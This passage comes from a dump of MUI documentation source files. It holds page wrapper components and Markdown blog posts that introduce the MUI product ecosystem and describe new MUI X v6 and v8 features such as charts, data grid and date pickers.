example](https://github.com/mui/material-ui/tree/master/examples/material-ui-nextjs-ts)\n- [Base UI with Tailwind CSS example](https://github.com/mui/material-ui/tree/v6.x/examples/base-ui-nextjs-tailwind-ts)\n- [Joy UI example](https://github.com/mui/material-ui/tree/master/examples/joy-ui-nextjs-ts)\n\n## What comes next\n\nIn the world of Server Components, \"traditional\" CSS-in-JS poses a serious challenge that may require us to move beyond Emotion, which is the default styling solution for Material UI and Joy UI in v5.\nWe're currently exploring ways to offer our own zero-runtime CSS-in-JS solution that will enable you to use relevant MUI System, Material UI, and Joy UI components as Server Components.\nThis will also have the added benefit of improving performance across the board.\nKeep an eye out for an RFC from us very soon that will detail the proposed solution.\n\nIn the meantime, please let us know if you have any questions or encounter any issues when using Material UI components, MUI System, or Joy UI with the Next.js App Router.\n"
  },
  {
    "path": "docs/pages/blog/mui-product-comparison.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-product-comparison.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-product-comparison.md",
    "content": "---\ntitle: An introduction to the MUI ecosystem\ndescription: MUI is more than just Material UI. Consider Joy UI, Base UI, MUI X, and Toolpad for your next project.\ndate: 2022-11-01T00:00:00.000Z\nauthors: ['samuelsycamore']\nmanualCard: true\ntags: ['Product']\n---\n\n<img src=\"/static/blog/mui-product-comparison/ecosystem.png\" width=\"1384\" height=\"640\" alt=\"Logos for all the high-level MUI products.\" />\n\nMUI is so much more than Material UI!\n\nYou'll be forgiven if you thought MUI was merely shorthand for our most popular product.\nIn fact, MUI as an organization was founded to meet the growing needs of the Material UI community, and is now responsible for a whole suite of related products.\n\nMaterial UI is the flagship; but it's also the gateway to MUI's ever-expanding ecosystem of UI tools.\n\nThough our roots are in [Material Design](https://material.io/), we're branching out well beyond those constraints these days to deliver a wider range of tools for developers to ship new features faster.\n\nOur primary offerings fall into two product lines: Core and X.\nMUI Core contains our foundational component libraries (like Material UI), while MUI X offers components that are significantly more complex (like the Data Grid).\n\nWe're also in the early stages of developing a low-code internal tool builder called [Toolpad](https://mui.com/toolpad/), which enables you to build with every Core and X component in a drag-and-drop interface.\n\nRead on for more details on each of our products.\n\n## MUI Core\n\n<img src=\"/static/blog/mui-product-comparison/mui-core.png\" width=\"1384\" height=\"600\" loading=\"lazy\" alt=\"Diagram with all the MUI Core sub-products.\" />\n\nThe Core is MUI's foundational product line.\nIt grew out of Material UI, and that library's legacy lives on in the name of the repo on GitHub: [`mui/material-ui`](https://github.com/mui/material-ui).\n\nBut this repo contains much more than just Material UI these days.\nWe've carefully deconstructed this library to expose its best parts as isolated open-source projects.\nMore recent additions include Joy UI and Base UI, as well as our in-house styling solution, MUI System.\n\nMUI Core is open-source, and we invite you to contribute wherever you see fit!\n\n### Material UI\n\nMaterial UI is an open-source React component library that implements Google's Material Design.\nIt includes a comprehensive collection of prebuilt components that are ready for use in production right out of the box.\n\nMaterial UI is beautiful by design and features a suite of customization options that make it easy to implement your own custom design system on top of our components.\n\nGet started in the [Material UI docs](/material-ui/getting-started/).\n\n#### Key features\n\n- **Material Design:** Your app will look and feel excellent by default, thanks to our meticulous implementation of Material Design (currently M2; M3 is on the way).\n- **Comprehensiveness:** With over 50 foundational components and counting, you've got everything you need to ship new features fast.\n- **Maturity:** Material UI's age and maturity rival that of React itself, with its origins spanning all the way back to 2014.\n- **Community:** Over 2,500 open-source contributors have made this library what it is today.\n\n#### Ideal use cases\n\n- User interfaces that adhere closely to Material Design.\n- Internal admin tools.\n- Dev teams that need to ship features in hours rather than weeks.\n\n### Joy UI\n\nJoy UI is an open-source React component library that implements MUI's own in-house design principles.\nIt's intended to serve as an alternative to Material UI for designs that don't adhere to Material Design specifications.\n\nTry Joy UI if you appreciate the comprehensiveness and reliability of Material UI, but don't need all of the additional baggage that comes along with Material Design.\n\nGet started in the [Joy UI docs](/joy-ui/getting-started/).\n\n#### Key features\n\n- **Innovative design:** Free from the constraints of Material Design, Joy UI is where we can innovate and experiment with fresh new ideas in design, UX, and DX.\n- **Flexibility:** Customize with ease, and leverage the power of CSS variables to ensure consistency when making pixel-perfect adjustments.\n\n#### Ideal use cases\n\n- Projects that don't involve Material Design.\n- Design systems that would benefit from less opinionated defaults when customizing.\n- Client-facing apps that need to look and feel distinctly like _your_ brand.\n\n### Base UI\n\nBase UI is an open-source library of headless (\"unstyled\") React UI components and hooks.\nThese components were extracted from Material UI, and are now available as a standalone package.\nThey feature the same robust engineering but without any default styling solution or theme.\n\nBase UI includes prebuilt components with production-ready functionality, along with low-level hooks for transferring that functionality to other components.\n\nGet started in the [Base UI docs](https://v6.mui.com/base-ui/getting-started/).\n\n#### Key features\n\n- **Total control over styles:** Unlike Material UI and Joy UI, Base UI doesn't ship with any default styles or styling solution.\n  Write CSS however you'd prefer—vanilla, modules, styled-components—or integrate a styling library like Tailwind CSS or Emotion.\n- **Hooks for fully custom components:** When pre-built components aren't flexible enough, low-level hooks enable you to quickly add sophisticated functionality to your custom components.\n- **Accessibility:** Base UI components are built with accessibility in mind. We do our best to make all components screen reader-friendly, and offer suggestions for optimizing accessibility throughout our documentation.\n- **The core of MUI Core:** Base UI serves as the scaffold for Joy UI components, and future versions Material UI will also be built with Base UI as the foundation.\n\n#### Ideal use cases\n\n- Implementing fully custom designs.\n- Creating custom components within a Material UI or Joy UI app.\n- Adding functionality to fully custom components.\n\n### MUI System\n\nMUI System is a set of CSS utilities to help you build custom designs more efficiently when working with MUI component libraries like Material UI, Joy UI, and Base UI.\n\nThe System gives you a set of flexible, generic wrapper components like Box and Container that can be quickly customized using the `sx` prop.\nThis prop lets you define styles directly within the components themselves, rather than creating bulky and redundant `const` definitions with styled-components.\nIt also gives you direct access to your theme's custom design tokens to ensure consistency in one-off styles.\n\nGet started in the [MUI System docs](/system/getting-started/).\n\n#### Key features\n\n- **Faster prototyping:** The `sx` prop lets you apply styles directly to a component by writing the CSS you already know.\n  This makes it a great tool for quickly assembling a prototype or styling a one-off component that doesn't need to be reused.\n- **Write less code:** `sx` lets you avoid writing unnecessary styled-components code, and as such it can replace dozens of lines of code.\n  Check out [Why use MUI System?](/system/getting-started/usage/#why-use-mui-system) for an example.\n\n#### Ideal use cases\n\n- Quickly prototyping custom styles in Material UI, Joy UI, or Base UI.\n- Creating one-off custom components.\n\n## MUI X\n\n<img src=\"/static/blog/mui-product-comparison/mui-x.png\" width=\"1384\" height=\"600\" loading=\"lazy\" alt=\"Diagram with all the MUI X components.\" />\n\nMUI X is a collection of advanced UI components, including the Data Grid and the Date and Time Pickers.\n\nThese components are significantly more complex than those found in the MUI Core libraries.\nThey feature advanced functionality for data-rich applications and a wide range of other use cases.\nWhile X components natively integrate with MUI Core, they are kept separate so you can more easily implement custom design systems with them.\n\nMUI X is open-core. Base components are MIT-licensed, while more advanced features require a Pro or Premium commercial license.\nSee [Licensing](/x/introduction/licensing/) for details.\n\n### Data Grid\n\nThe MUI X Data Grid is a fast and extensible React data table with advanced features for power users and complex use cases in data management and analysis.\nIt features an intuitive UI and corresponding API to display different views of a data set, with support for real-time updates, accessibility, theming, and custom templates.\n\n#### Key features\n\n- **Data management:** Create, retrieve, update and delete your data with ease.\n- **Sophisticated data analysis:** Pin rows and columns, group and aggregate values, export your view of the data to other formats. MUI X's Data Grid is one of the most feature-rich grids available on the market today.\n- **Intuitive customization:** Customizing the Data Grid's styles and behaviors works just like you'd expect if you're familiar with Material UI—no new concepts to master along the way.\n- **Accessibility:** It's notoriously difficult to optimize a data grid's accessibility, which is precisely why we make it a top priority—we obsess over these details so you don't have to.\n\n#### Ideal use cases\n\n- Applications that feature massive data sets.\n- Data analytics tools inside your app, reducing the need to jump to Excel.\n- Apps built with MUI Core libraries that need advanced functionality.\n\n### Date and Time Pickers\n\nThe MUI X Date and Time Pickers are a collection of React UI components that let users select dates and times from dialogs and text fields.\nComponents include the Date Picker, Time Picker, Date Range Picker, and Date Time Picker, with more on the way.\n\n#### Key features\n\n- **Third-party date library support:** All components include support for many of the most popular date libraries, so you can pick whichever you prefer.\n- **Localization:** The Pickers are optimized for use anywhere in the world, with support for all variations on date and time formatting.\n\n#### Ideal use cases\n\n- Forms requiring date and time input from the user.\n- Booking apps using date and time ranges.\n- Enterprise apps using advanced date and time validation with constraints.\n- Apps built with MUI Core libraries that need date and time functionality.\n\n## Toolpad\n\n<img src=\"/static/blog/mui-product-comparison/mui-toolpad.png\" style=\"margin-bottom: 24px\" width=\"1384\" height=\"600\" loading=\"lazy\" alt=\"Small screenshot of Toolpad's interface.\" />\n\nToolpad is a self-hosted low-code admin builder designed to extend MUI's suite of React components.\nIt's designed for developers of all trades who want to save time building internal applications.\nDrag and drop pre-built UI components, connect your data sources, and your app is ready for deployment.\n\n### Key features\n\n- **Build faster than ever:** With Toolpad, your development time can be measured in minutes rather than hours or days. Skip the mindless busywork of UI development and get straight to the core business logic.\n- **Use the components you already know:** Toolpad comes preloaded with both MUI Core and X libraries, giving you the full power of MUI's components in a drag-and-drop interface.\n- **Extensible with code:** Start with only bare-bones JavaScript to get up and running, and then jump from \"low code\" to \"pro code\" as needed to add custom features and functionality.\n\n### Ideal use cases\n\n- Admin tools with a tight deadline.\n- Rapid in-browser prototyping for front-end and full-stack development.\n\n## What comes next\n\nMUI is firmly committed to the React ecosystem for the long term—our [company mission](https://mui-org.notion.site/Direction-d8b8c142a6a44e3aa963f26edf4e03db) is measured in decades, because we believe in the staying power of this open-source community.\n\nWe envision a world in which MUI's component libraries are the industry standard for React developers worldwide, and we've defined some ambitious goals for growth to make this a reality in the years to come.\n\nTo keep up with all of our new products and features, you can sign up for our mailing list at the bottom of this page to receive monthly updates.\n\nWe can't wait to see what you create!\n"
  },
  {
    "path": "docs/pages/blog/mui-x-end-v6-features.js",
    "content": "import TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-end-v6-features.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-end-v6-features.md",
    "content": "---\ntitle: MUI X v6.18.0 and the latest features before the next major\ndescription: New components, polished features, better performance and more.\ndate: 2023-11-13T00:00:00.000Z\nauthors: ['josefreitas']\nmanualCard: true\ntags: ['MUI X', 'Product']\n---\n\n<div style=\"max-width: 692px; width: 100%; height: 230px; overflow: hidden; margin-bottom: 16px;\">\n  <a href=\"https://github.com/mui/mui-x/releases/tag/v6.18.0\">\n    <img src=\"/static/blog/mui-x-end-v6-features/intro.png\" alt=\"MUI X v6.18.0 release\" width=\"2400\" height=\"800\" style=\"width: 100%; height: 100%; object-fit: cover; object-position: center;\" />\n  </a>\n</div>\n\nWe are happy to share the newest MUI X features with the release of [MUI X v6.18.0](https://github.com/mui/mui-x/releases/tag/v6.18.0), sealing v6 with new components and solid functionality.\n\nAs we gear up to focus on the next major version, let's review the notable new features introduced since [our last blog post](/blog/mui-x-mid-v6-features/).\n\n## Table of contents\n\n- [New stable components 🎉](#new-stable-components)\n  - [Charts](#charts)\n  - [Tree view](#tree-view)\n- [Date Pickers](#date-pickers)\n  - [Smoothened animations](#smoothened-animations)\n  - [Clearable Field](#clearable-field)\n  - [Customization Playgrounds](#customization-playgrounds)\n- [Data Grid](#data-grid)\n  - [Column Autosizing](#column-autosizing) [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [New examples](#new-examples)\n  - [Sparkline as a column type](#sparkline-as-a-column-type)\n  - [Performance improvements](#performance-improvements)\n- [What's next](#whats-next)\n- [Feedback](#give-us-feedback)\n\n## New stable components\n\n### Charts\n\nThe stable version of MUI X Charts supports the most commonly used chart plots you'll need in your day-to-day applications.\nIt features lines, areas, bars, pie charts, and scatter plots.\nAnd the latest version also includes:\n\n#### Animations\n\nBar and Pie Charts currently support animations.\nMore to come!\n\n<video autoplay muted loop playsinline width=\"680\" height=\"306\">\n  <source src=\"/static/blog/mui-x-end-v6-features/bar-chart-animations.mp4\" type=\"video/mp4\">\n</video>\n\n#### Horizontal Bar Chart support\n\nRecently added: horizontal bars for broadening your data visualization spectrum, especially when you need to display long labels for multiple categories.\nCheck out [the Bar Chart layout documentation](/x/react-charts/bars/#layout) for more details.\n\n#### Improved text customization\n\nCustomize the legend text to your heart's content, making your charts more readable and visually\nappealing.\n\n👉 [Get started with MUI X Charts now](/x/react-charts/)!\n\n### Tree View\n\nAfter an extensive period of development and refinement in the lab and pre-release packages, and with the invaluable feedback we've received from you and the community, we're happy to share that the package is now officially stable!\n\n<video autoplay muted loop playsinline width=\"680\" height=\"400\">\n  <source src=\"/static/blog/mui-x-end-v6-features/tree-view-gmail.mp4\" type=\"video/mp4\">\n</video>\n\n👉 [Get started with MUI X Tree View now](/x/react-tree-view/)!\n\n## Date Pickers\n\n### Clearable field\n\nA much-anticipated feature, the date and time fields now allow users to clear a selected date with a single click.\nLearn how to use it by visiting the [clearable behavior documentation](/x/react-date-pickers/fields/#clearable-behavior).\n\n<video autoplay muted loop playsinline width=\"680\" height=\"128\">\n  <source src=\"/static/blog/mui-x-end-v6-features/clearable-fields.mp4\" type=\"video/mp4\">\n</video>\n\n### Smoothened animations\n\nThe Date Picker animations have been significantly smoothened to ensure a much more fluid experience, especially on Android mobile devices.\n\n### Customization playgrounds\n\nWe're constantly improving our documentation and working to better communicate how to use our components effectively.\nWith the new customization playgrounds, you can now tailor the style of [Date Picker](/x/react-date-pickers/date-picker/#customization) and experiment with multiple combinations of [subcomponents](/x/react-date-pickers/playground/) to achieve the look and feel you desire.\n\n## Data Grid\n\n### Column autosizing [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nThe new autosizing feature automatically adjusts the column width to accommodate the content within.\nYou can include or exclude both headers and outliers from the calculation and expand to use the entire area of the grid.\nLearn more details at [column autosizing section](/x/react-data-grid/column-dimensions/#autosizing).\n\n<video autoplay muted loop playsinline width=\"680\" height=\"128\">\n  <source src=\"/static/blog/mui-x-end-v6-features/column-auto-sizing.mp4\" type=\"video/mp4\">\n</video>\n\n### New examples\n\nWe're continuously improving our docs, and we're starting to add more advanced examples like [bulk editing](/x/react-data-grid/recipes-editing/#bulk-editing) and [lazy loading for tree data](/x/react-data-grid/tree-data/#children-lazy-loading).\n\n### Sparkline as a column type\n\nYou can integrate the MUI X Charts with the Data Grid to add Sparkline Charts to columns.\n\n<img alt=\"Sparkline charts on the MUI X Data Grid\" src=\"/static/blog/mui-x-end-v6-features/sparkline-datagrid.png\" width=\"1200\" height=\"840\" loading=\"lazy\" />\n\n👉 [Get started with Sparkline Charts in the Data Grid now](/x/react-data-grid/custom-columns/#sparkline)!\n\n### Performance improvements\n\nIn our endless pursuit of an enhanced user experience, we've significantly boosted filtering and scrolling performance.\n\nTo illustrate some of these improvements, the following table displays a benchmark comparing the latest v5 (v5.17.26) with v6.18.0. The focus is to assess the raw filtering speed in a use case involving a one-column string filter over 100,000 rows.\n\n| Version  | N# of Tests | Min time (ms) | Max time (ms) | Median (ms) | Average (ms) | Deviation |\n| :------- | ----------: | ------------: | ------------: | ----------: | -----------: | --------: |\n| v5.17.26 |          22 |           396 |           409 |       400.0 |        400.7 |      3.96 |\n| v6.18.0  |          20 |            44 |            66 |        49.5 |         50.4 |      5.63 |\n\nAs you can see, the current version performs 7.9 times faster—the average time has dropped from 400.7 to just 50.4 milliseconds.\n\n:::info\nNote that these results are based on raw filtering speed—not end-to-end operation (which includes user typing, filtering, and rerender).\n:::\n\n## What's next?\n\nWe're now working on the next MUI X major, v7, which will include many new features and improvements.\nMost notably:\n\n- [Date and Time Picker](/x/react-date-pickers/) improvements:\n  - New components: Date Time, and Time Range Picker\n  - Improved accessibility on date and time fields\n- [Data Grid](/x/react-data-grid/) iterations:\n  - New UI for column management\n  - Pivoting for the Premium version\n\nWe'll continue to expand our portfolio of Charts, including [Heatmap](/x/react-charts/heatmap/), [Funnel](/x/react-charts/funnel/), and [Gantt](/x/react-charts/gantt/); and explore virtualization and other advanced use cases for the Tree View component.\n\nWe encourage you to upvote issues on GitHub to help us prioritize.\nYour input directly influences our development schedule, so don't hesitate to let us know what matters most to you!\nUse the following list to quickly access each component's issues:\n\n- [Charts](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+label%3A%22component%3A+charts%22+label%3A%22waiting+for+%F0%9F%91%8D%22)\n- [Tree View](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+label%3A%22component%3A+treeview%22+label%3A%22waiting+for+%F0%9F%91%8D%22)\n- [Data Grid](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+label%3A%22component%3A+data+grid%22+label%3A%22waiting+for+%F0%9F%91%8D%22)\n- [Date and Time pickers](https://github.com/mui/mui-x/issues?q=is%3Aissue+is%3Aopen+label%3A%22component%3A+pickers%22+label%3A%22waiting+for+%F0%9F%91%8D%22)\n\nGoing forward, the next major version—v7—will be released in alpha and then beta between now and March 2024, at which point we'll bump it to a stable release.\nAt the same time, v6 will transition to [long-term support](https://mui.com/x/introduction/support/#long-term-support-lts), while support for v5 will be discontinued.\n\n## Give us feedback\n\nWe're excited to hear from you about improving MUI X!\nPlease share your requests, suggestions, pain points, and use cases through [this Google Form](https://forms.gle/vsBv6CLPz9h57xg8A).\n\nCheers!\n"
  },
  {
    "path": "docs/pages/blog/mui-x-end-v8.js",
    "content": "import * as React from 'react';\nimport TopLayoutBlog from 'docs/src/modules/components/TopLayoutBlog';\nimport { docs } from './mui-x-end-v8.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutBlog docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/blog/mui-x-end-v8.md",
    "content": "---\ntitle: 'MUI X v8: Highlights since the last major release'\ndescription: Grid x Charts integration, Chart interactions, server-side Data Grid pivoting, Range Picker ergonomics, Tree View improvements, and more.\ndate: 2025-12-22T08:00:00.000Z\nauthors: ['josefreitas', 'alelthomas']\ntags: ['MUI X', 'Product']\nmanualCard: false\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n</style>\n\n<a href=\"https://github.com/mui/mui-x/releases/tag/v8.20.0\">\n  <img\n    id=\"blog-responsive-image\"\n    src=\"https://github.com/user-attachments/assets/dd199fd9-f053-4bbe-b5d5-95361d11e773\"\n    alt=\"MUI X v8 and beyond\"\n    height=\"2400\"\n    width=\"800\"\n    style=\"width: 100%; object-fit: cover; object-position: center; border: 0px;\"\n  />\n</a>\n\nWe're happy to share the newest MUI X features shipped over the last several months. As we gear up for the next major version, here's a tour of the latest improvements we've made to the Charts, Data Grid, Date Pickers, and Tree View—all available now in v8.\n\n## Table of contents\n\n- [Charts](#charts)\n  - [Brush selection](#brush-selection)\n  - [Intuitive zooming and panning](#intuitive-zooming-and-panning)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Zoom slider with preview](#zoom-slider-with-preview)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Keyboard navigation and a11y improvements](#keyboard-navigation-and-a11y-improvements)\n  - [Sankey and upgraded charts](#sankey-and-upgraded-charts)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Clearer axes for dense categories](#clearer-axes-for-dense-categories)\n  - [Performance and export](#performance-and-export)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n- [Data Grid](#data-grid)\n  - [Server-side pivoting](#server-side-pivoting)[<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n  - [Row grouping that adapts as you explore](#row-grouping-that-adapts-as-you-explore)[<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n  - [Charts integration](#charts-integration)[<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n  - [Smoother reordering with clear affordances](#smoother-reordering-with-clear-affordances)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Pinned areas and scrolling polish](#pinned-areas-and-scrolling-polish)\n  - [Export resilience](#export-resilience)[<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n- [Date and Time Pickers](#date-and-time-pickers)\n  - [Better range defaults](#better-range-defaults)[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n  - [Polished inputs across devices](#polished-inputs-across-devices)\n- [Tree View](#tree-view)\n  - [Drag-and-drop support and other improvements](#drag-and-drop-support-and-other-improvements)\n- [What's next](#whats-next)\n- [Feedback](#whats-next)\n\n## Charts\n\n### Brush selection\n\nDrag a brush across any Cartesian chart to focus the conversation. Zoom a busy week on a time series, isolate a cluster in a scatter, or feed the selected window to your own logic. The brush overlay gives a crisp visual cue while you work:\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/4aea6f6e-b269-47b7-a733-06c21851239b\" autoplay muted loop playsinline style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">Brush a range to zoom or select data.</figcaption>\n</figure>\n\n[Brush and selection](/x/react-charts/brush/)\n\n### Intuitive zooming and panning[<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nZooming and panning now match expected interactions. Wheel or pinch to zoom, press-and-drag to pan, and tap-and-drag on touch to zoom without fiddly gestures.\n\nTune the interaction config (for example, require <kbd class=\"key\">Ctrl</kbd> to zoom and <kbd class=\"key\">Shift</kbd> to pan) so charts play nicely with your page shortcuts.\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/ba212d3d-b5df-48a4-827d-6a42fd82f493\" autoplay muted loop playsinline style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">Natural zoom and pan on desktop and touch.</figcaption>\n</figure>\n\n[Zoom and pan guide](/x/react-charts/zoom-and-pan/)\n\n### Zoom slider with preview [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nA compact slider under the axis makes long ranges effortless to navigate, and the optional preview shows exactly what's in view—the dashboard equivalent of a map's mini-overview:\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/180cb1d1-4537-4c8f-8c7b-eb1dbba1d75e\" autoplay muted loop playsinline  alt=\"Zoom slider and preview\" style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">Stay oriented while zoomed in.</figcaption>\n</figure>\n\n[Zoom slider](/x/react-charts/zoom-and-pan/#zoom-slider)\n\n### Keyboard navigation and a11y improvements\n\nCharts are now more comfortable to explore from the keyboard. Focus highlights stay in sync as you move, and tooltips and axes cooperate so you can read values without a mouse:\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/21e9e07e-1161-4601-bb39-7b9f1f532da7\" autoplay muted loop playsinline alt=\"Keyboard navigation in charts\" style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">Keyboard-first exploration of series and points.</figcaption>\n</figure>\n\nWhile these features are a work in progress, we are currently increasing our efforts to improve accessibility across all Charts components.\n\n### Sankey and upgraded charts [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nA **Sankey** diagram joins the lineup for flow visualization, while **Funnel** charts gain polished presets (including pyramid/step-pyramid) so conversion stories read clearly at a glance:\n\n<figure style=\"margin:16px 0;\">\n  <img src=\"https://github.com/user-attachments/assets/ea2c6dc9-1f91-4d8d-8d05-fbce905421d1\" alt=\"Sankey Chart\" style=\"width:100%;max-width:960px;border-radius:12px;\">\n  <figcaption style=\"text-align:center;margin-top:8px;\">Tell flow and conversion stories clearly.</figcaption>\n</figure>\n\n[Sankey docs](/x/react-charts/sankey/) • [Funnel docs](/x/react-charts/funnel/)\n\n### Clearer axes for dense categories\n\nMulti-level label groups on band/point axes tidy up long category lists and comparisons—perfect for \"Region Country City\" break-downs:\n\n<figure style=\"margin:16px 0;\">\n  <img src=\"https://github.com/user-attachments/assets/19710212-4eef-48c1-acc6-46a4e75cffc2\" alt=\"Grouped axes labels\" style=\"width:100%;max-width:960px;border-radius:12px;\">\n  <figcaption style=\"text-align:center;margin-top:8px;\">Multi-level category labels.</figcaption>\n</figure>\n\n[Axes and labeling](/x/react-charts/axis/)\n\n### Performance and export [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nHeavy dashboards feel lighter thanks to faster string measurement, tuned bar rendering, and an SVG batch renderer for large scatter plots. When it's time to share, capture the exact view with **image export** or **print/PDF**.\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/32aec824-0c17-4350-adb5-bd72cf434c77\" autoplay muted loop playsinline alt=\"Charts performance and export\" style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">Faster charts; one-click export.</figcaption>\n</figure>\n\n[Performance tips](/x/react-charts/scatter/#performance) • [Export guide](/x/react-charts/export/)\n\n## Data Grid\n\n### Server-side pivoting [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\nPivot at scale without locking the browser. The Grid coordinates with your back end to compute pivots and aggregates, so the UI stays snappy while you slice by any model you can dream up:\n\n[Pivoting docs](/x/react-data-grid/pivoting/)\n\n### Row grouping that adapts as you explore [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\nReorder grouping levels on the fly and stay in place. Expanded groups stay open even as data updates, so you don't lose context during refreshes:\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/98da078f-0747-4a02-b304-6a66c936c995\" autoplay muted loop playsinline controls style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">Drag to reorder groups; expansion persists.</figcaption>\n</figure>\n\n[Row grouping guide](/x/react-data-grid/row-grouping/)\n\n### Charts integration [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\nTurn selections into visuals in seconds. An integrated panel renders the right chart for the current view and stays in sync with Grid interactions—ideal for quick investigations and stakeholder snapshots:\n\n<figure style=\"margin:16px 0;\">\n   <video src=\"https://github.com/user-attachments/assets/1dde7294-5b7d-4862-b250-6299aaa29c4c\" autoplay muted loop playsinline controls style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">One click from table to chart.</figcaption>\n</figure>\n\n[Charts integration docs](/x/react-data-grid/charts-integration/)\n\n### Smoother reordering with clear affordances [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nDrag-and-drop row reordering now shows a precise drop indicator so users can reorganize with confidence—perfect for backlogs and ranked lists:\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/7b6d7de3-70e9-4754-93c8-d7963d4b464a\" autoplay muted loop playsinline controls style=\"width:100%;max-width:960px;border-radius:12px;\"></video>\n  <figcaption style=\"text-align:center;margin-top:8px;\">A clear target as you drag rows.</figcaption>\n</figure>\n\n[Row reordering docs](/x/react-data-grid/row-ordering/)\n\n### Pinned areas and scrolling polish\n\nPinned rows and aggregates cooperate with the scrollbar and scroll shadows, making wide and tall tables easier to parse at a glance:\n\n<figure style=\"margin:16px 0;\">\n  <video src=\"https://github.com/user-attachments/assets/6aa59911-d247-48c5-b576-e3fb15092e7a\" autoplay muted loop playsinline alt=\"Pinned rows and scroll shadows\" style=\"width:100%;max-width:960px;border-radius:12px;\">\n  <figcaption style=\"text-align:center;margin-top:8px;\">Pinned context that reads at a glance.</figcaption></video>\n</figure>\n\n[Pinning guide](/x/react-data-grid/column-pinning/) • [Scrolling guide](/x/react-data-grid/scrolling/)\n\n### Export resilience [<span class=\"plan-premium\"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')\n\nExcel export now relies on our own internally vetted and private ExcelJS fork to avoid transitive vulnerabilities and keep exports reliable at scale:\n\n<figure style=\"margin:16px 0;\">\n  <img src=\"https://github.com/user-attachments/assets/81ad75a6-5769-4a74-88f3-da45e2d2c598\" alt=\"Export to Excel from the Data Grid\" style=\"width:100%;max-width:960px;border-radius:12px;\">\n  <figcaption style=\"text-align:center;margin-top:8px;\">Safer, sturdier exports for compliance workflows.</figcaption>\n</figure>\n\n[Export docs](/x/react-data-grid/export/)\n\n## Date and Time Pickers\n\n### Better range defaults [<span class=\"plan-pro\"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')\n\nRange components can use different reference dates for starting and ending values, so pickers open where users expect—for example, next Monday through Friday for travel, or \"this month\" for reporting.\n\n[Reference dates in ranges](/x/react-date-pickers/base-concepts/#reference-date)\n\n### Polished inputs across devices\n\nEdits feel steadier. Compact one-column time layouts keep the intended format, view switching behaves predictably, and browser quirks are smoothed out so the field stays readable and consistent:\n\n<figure style=\"margin:16px 0;\">\n  <img src=\"https://github.com/user-attachments/assets/595c0f74-f3b7-498b-9b0b-255f291026b1\" alt=\"Date and time picker input polish\" style=\"width:100%;max-width:720px;border-radius:12px;\">\n  <figcaption style=\"text-align:center;margin-top:8px;\">Consistent typing, formats, and labels.</figcaption>\n</figure>\n\n[Date Pickers quickstart](/x/react-date-pickers/)\n\n## Tree View\n\n### Drag-and-drop support and other improvements\n\nBetween refined editing, ordering, and selection behaviors, 